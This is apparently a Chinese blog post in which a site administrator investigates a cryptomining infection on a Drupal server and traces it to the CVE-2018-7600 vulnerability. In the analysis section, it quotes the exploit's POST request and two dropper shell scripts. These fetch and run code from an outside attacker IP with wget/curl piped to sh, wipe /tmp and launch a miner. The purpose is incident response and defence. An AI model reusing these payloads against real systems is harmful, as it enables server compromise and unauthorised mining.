首页 > 网站维护> Drupal网站捉马记

Drupal网站捉马记

发布:第四度 2018-10-15 分类:网站维护 19 标签: 木马清理 drupal cve-2018-7600漏洞

问题出现

Drupal网站页面打不开了,浏览器显示500错误。 登陆centos服务器,查看CPU,发现有一个apache用户的进程,进程名是[[^$I$^]],占用CPU达到100%。

CPU-100%

显然,网站被入侵了,而且十有八九又是挖矿代码。

照以往的做法,重装系统和网站完事,但没找到问题的根源,指不定什么时候又会出问题。不如这次试试能不能抓到这只马,顺便长长经验。

初次尝试

首先用命令kill -9 进程号,尝试杀死这个进程。杀掉之后,又重新启动起来,没有用。重新启动主机,这个进程还是跳来跳去。

一番百度后,有人说恶意代码可能是开机启动或者定时启动。然后到/etc文件夹下检查了诸如cron.d、rc.d等文件夹下的脚本,发现大多是一些系统服务启动脚本,翻来覆去也没有找到什么有价值的东东。

既然暂时杀不死,那限制它的cpu占用率总该可以吧?又查了一番,还真有个cpulimit的软件能限制这个进程的cpu使用率。

yum install cpulimit
cpulimit -l 1 -p 进程号 & #限制木马进程的cpu占用率为1%

好了,操作起来没那么卡了,但是网站还是一片空白。

再次尝试

既然杀不死这个木马,那能不能定位这个木马程序的位置和代码呢? 还好,从洋洋洒洒的广告中找到了需要的答案。

在/proc/进程号目录下,有当前进程的详细信息。其中的exe指向的文件就是启动这个进程的可执行文件。

proc-num

进入目录,执行ll,发现了,可行性文件在/var/tmp目录下,但后边显示了个deleted。什么情况?狡猾的木马执行起来之后,又把自己删了,让我们无迹可寻,厉害!

不过。。。把tmp目录禁止写入禁止执行,是不是木马就运行不起来了呢? 经过一番设置,然后kill之后,木马进程好像没有了,网站也恢复正常。

但是!!几个小时后,网站又是一片空白–500。

转机出现

折腾了很久很久,还是没有搞定这只马。正当自己考虑要不要重装系统的时候,忽然想到,访问日志文件中会不会有什么蛛丝马迹。毕竟,木马进程是apache用户启动,说明木马没有拿到最高权限,可能就是个webshell。apache访问日志cat一下,cat /var/log/httpd/access_log。

post

这次运气不错,一下子看到一个POST请求有问题。全站都打不开了,显示500错误,但是这个POST请求响应结果竟然是200!!那说明这个请求可能就跟木马有关。

木马分析

这条POST请求的url用解码一下看看,

POST //?q=user/password&name[#post_render][]=system&name[#markup]=kill -9 -1; nohup wget -O - http://164.132.159.56/drupal/ups.sh|sh &; nohup curl  http://164.132.159.56/drupal/ups.sh|sh &&name[#type]=markup

其中有一条shell语句,单独拿出来分析一下

kill -9 -1;  #把自己的父进程杀死?
nohup wget -O - http://164.132.159.56/drupal/ups.sh|sh &; #wget下载远程脚本并执行
nohup curl  http://164.132.159.56/drupal/ups.sh|sh &&name # curl下载远程脚本并执行 

这个脚本是什么呢?下载下来看看

#!/bin/sh
id0="[[^$I$^]]" #这个就是服务器中木马进程的名称
id1="atnd"
ps -fe |grep -v grep | grep -q "`echo $id0`\|`echo $id1`"#看看能不能找到木马进程
if [ $? -ne 0 ];then #如果找不到木马进程的话,$?的值就是1,下面就是下载脚本启动进程
kill -9 -1;wget -O - http://164.132.159.56/drupal/bups.sh|sh ;  curl http://164.132.159.56/drupal/bups.jpg|sh ;
else
echo "......."
fi

bups.sh脚本又是什么东东呢?下载下来看看。

#!/bin/sh
id0="[[^$I$^]]" #进程名称
id1="atnd" 
id2="ooo"
ps -fe |grep -v grep | grep -q "`echo $id0`\|`echo $id1`"
if [ $? -ne 0 ];then #如果没有找到木马进程,就启动木马
if [ -x "/tmp/" ] || [ -w "/tmp/" ];then
rm -rf /tmp/.*
rm -rf /tmp/*
chmod  777 /tmp/atnd #把文件权限设置行777
wget -O /tmp/`echo $id1` http://164.132.159.56/drupal/2/`echo $id2`
curl -o /tmp/`echo $id1` http://164.132.159.56/drupal/2/`echo $id2`
chmod +x /tmp/`echo $id1`#添加执行权限并执行
/tmp/`echo $id1` &
else
rm -rf /var/tmp/.*
rm -rf /var/tmp/*
chmod 777 /var/tmp/atnd
wget -O /var/tmp/`echo $id1` http://164.132.19.56/drupal/2/`echo $id2`
curl -o /var/tmp/`echo $id1` http://164.132.19.56/drupal/2/`echo $id2`
chmod +x /var/tmp/`echo $id1`
/var/tmp/`echo $id1` &
fi
else
echo "Running....."
fi

这一段是下载真正的木马,然后启动它。因为它把/tmp目录权限设置成777了,所以之前尝试禁止写入文件没有效果。

分析了木马了,下边的步骤就是水到渠成了。

问题解决

百度搜索木马的POST请求url,结果发现这是利用了drupal的SA-CORE-2018-002漏洞。这个漏洞可以执行恶意代码,进而完全控制整个网站。

drupal-CVE-2018-7600

按照官方的教程 https://www.drupal.org/project/drupal/releases/7.58 更新相关文件。

之后重启服务器,问题消失,网站恢复正常。

温馨提示如有转载或引用以上内容之必要,敬请将本文链接作为出处标注,谢谢合作!

发表评论: